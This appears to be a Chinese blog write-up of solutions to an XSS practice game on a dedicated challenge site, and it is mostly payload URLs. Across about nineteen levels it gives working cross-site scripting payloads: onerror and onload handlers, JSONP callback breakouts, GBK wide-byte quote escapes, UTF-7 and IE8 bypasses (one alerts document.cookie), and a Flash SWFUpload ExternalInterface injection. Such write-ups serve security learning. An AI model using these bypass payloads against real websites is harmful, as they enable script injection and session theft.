二哥的xss游戏

断断续续做完了，收获挺多的。

地址：http://xsst.sinaapp.com/xss/

二哥的xss游戏

第一题
http://xsst.sinaapp.com/xss/ext/1.php?umod=commentsoutlet&act=count&siteid=3&libid=9%3Cimg%3Ea&dataid=1480&score=1%3Cimg%20src=1%20onerror=alert(1)%3Eaa&func=haoping&_=1353475261886

第二题
http://xsst.sinaapp.com/xss/ext/2.php?callback=wooyun=a}catch(err){alert(1)}//

第三题(1)
http://xsst.sinaapp.com/xss/ext/3.1.php?word=%22%20autofocus%20onfocus=alert(1);//

第三题(2) 限制:只能在ie8以下执行
http://xsst.sinaapp.com/xss/ext/3.2.php?c=follow%22%3E%3Coboi%3E&a=index%22%3E%3Coboi%3E&appkey=801004516%22%3E%3Coboi%3E&bg=ffffff;x:%20expression(open(alert(1)))&hsize=80%22%3E%3Coboi%3E&name=Zhanglifenft%22%3E%3Coboi%3E

第三题(3) 点击go触发
http://xsst.sinaapp.com/xss/ext/3.3.php?offset=a&searchtype_yjbg=yjjgasdasd&searchvalue_yjbg=wooyunaaaa%27;alert(1);//

第四题 宽字节gb18030 是 %c0%22 || %c0%5c 如果是GBK那就是%81%22
http://xsst.sinaapp.com/xss/ext/4.php?sid=ktqO7DjMQcJuAABQ&t=dm_loginpageaaa%c0%22;alert(1);//

第五题
http://xsst.sinaapp.com/xss/ext/5.php?vt=passport&ss=aa\&from==1;function/**/from(){};alert(1);//&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1

第六题 换行符（%0a）

http://xsst.sinaapp.com/xss/ext/6.php?libid=178&FilterAttrAND=3602&FilterValueAND=dotaaaa%0a%20alert(1);//

第七题

http://xsst.sinaapp.com/xss/ext/7.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=price%c0%22%0aalert(2);//

上面的是我的答案，下面是二哥的答案 都差不多
http://xsst.sinaapp.com/xss/ext/7.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=price%c0%5c%0aalert(1);//

第八题(1)

js转义,利用(Xss测试字符串转换工具)，里面有unicode和base16
http://xsst.sinaapp.com/xss/ext/8.1.php?data=asa\u003ciframe%20onload=alert(1)\u003e

http://xsst.sinaapp.com/xss/ext/8.1.php?data=\x3c\x73\x76\x67\x2f\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x32\x33\x29\x3e

第八题(2)

http://xsst.sinaapp.com/xss/ext/8.2.php?libid=1&keyvalue=\x3c\x73\x76\x67\x2f\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x32\x33\x29\x3e&attr=133&stype=2&tname=star_second.shtml

第九题(1) ie下触发
http://xsst.sinaapp.com/xss/ext/9.1.htm?site=wooyun&name=%3Csvg/onload=alert(1)%3E&age=0

第九题(2)

http://xsst.sinaapp.com/xss/ext/9.2.htm?sid=%22%3E%3Csvg/onload=alert(1)%3E

第十题：

http://xsst.sinaapp.com/xss/ext/10.htm?alert(1);//=%E6%B8%B8%E6%88%8Fkkk

第十一题

http://xsst.sinaapp.com/xss/ext/11.htm?url=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+

第十二题

http://xsst.sinaapp.com/xss/ext/12.php?type=menu&np=11&pro=256&searchtype=2&cs=0010000&keyword=%26callback=alert(1);//PTAG=20058.13.13

第十三题：我的是在ie和火狐上触发，根据二哥的答案(2)，由于字符串在script标签里面，所以可以用unicode编码去绕过单引号的过滤。\u0027
(1)
http://xsst.sinaapp.com/xss/ext/13.php?receive=yes&mod=login&op=callback&referer=wooyun%22%3E%3Cscript%3Ealert(1);%3C/script%3E&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802
(2)
xsst.sinaapp.com/xss/ext/13.php?receive=yes&mod=login&op=callback&referer=wooyun\u0027;alert(1);//&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802

第十五题：http://xsst.sinaapp.com/xss/ext/15.swfupload.swf?movieName=aaa%22])}catch(e){alert(1)};//

this.flashReady_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].flashReady";
搜索flashReady_Callback 往下调用
ExternalCall.Simple(this.flashReady_Callback);
搜索Simple，发现如下调用，param1存在第一个参数里，
ExternalInterface.call("函数名","参数1");
看做js里面的 函数名("参数1");
而FLASH里实际最后执行的JS代码，形式如下（至于下面这句哪里来的，暂时不表）： try { __flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; } 因而 函数名 部分也可以写为 (function(){alert("hi jack")}) 的形式。

public static function Simple(param1:String) : void
{
ExternalInterface.call(param1);
}

try { __flash__toXML(console.log("\\" ));alert(/XSS/);}catch(e){} //")) ; } catch (e) { "<undefined/>"; }

try { __flash__toXML(SWFUpload.instances[\" aa"])}catch(e){alert(1)}// \"].flashReady)) ; } catch (e) { "<undefined/>"; }

参考资料：http://www.cnblogs.com/kenkofox/p/3405395.html

第十六题(1):
http://xsst.sinaapp.com/xss/ext/16.1.swf?id=alert(1);\%22));open_flash_chart_data();}%20catch%20(e)%20{%20alert(1);%20}//

第十六题(2)配置一台能被跨域请求的docker型的服务器

第十七题(1)
火狐,ie6,7 触发，
http://xsst.sinaapp.com/xss/ext/17.php?game=roco&uin=%22%3E%3Cimg%20src=1%20onerror=alert(1)%3E&world=5&roleid=44583443&level=8&role=me

第十七题(2)
ie6触发,utf-7
http://xsst.sinaapp.com/xss/ext/utf-7.php?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-%20xsadas

第十七题(3)

ie8 触发

http://xsst.sinaapp.com/xss/ext/ie8-bypass.php?t=test%22id=%3E%3Cdiv/id=x%3Ex%3C/div%3E%3Cxml:namespace%20prefix=t%3E%3Cimport%20namespace=t%20implementation=%23default%23time2%3E%3Ct:set/attributename=innerHTML%20targetElement=x%20to=%26lt;img%26%2311;src=x:x%26%2311;onerror%26%2311;=alert%26%23x28;document.cookie%26%23x29;%26gt;%3E

第十八题
答案已经被chrome过滤了
http://xsst.sinaapp.com/xss/ext/18.htm#siDomain=1&g_StyleID="><scv6/ript>alert(1)</script>
在ie6，7下触发
http://xsst.sinaapp.com/xss/ext/18.htm#siDomain=1&g_StyleID="><script>alert(1)</script>

第十九题

http://xsst.sinaapp.com/xss/ext/19.php
把名字改成<svg/onload=alert(1)>
发送语音时候点开链接触发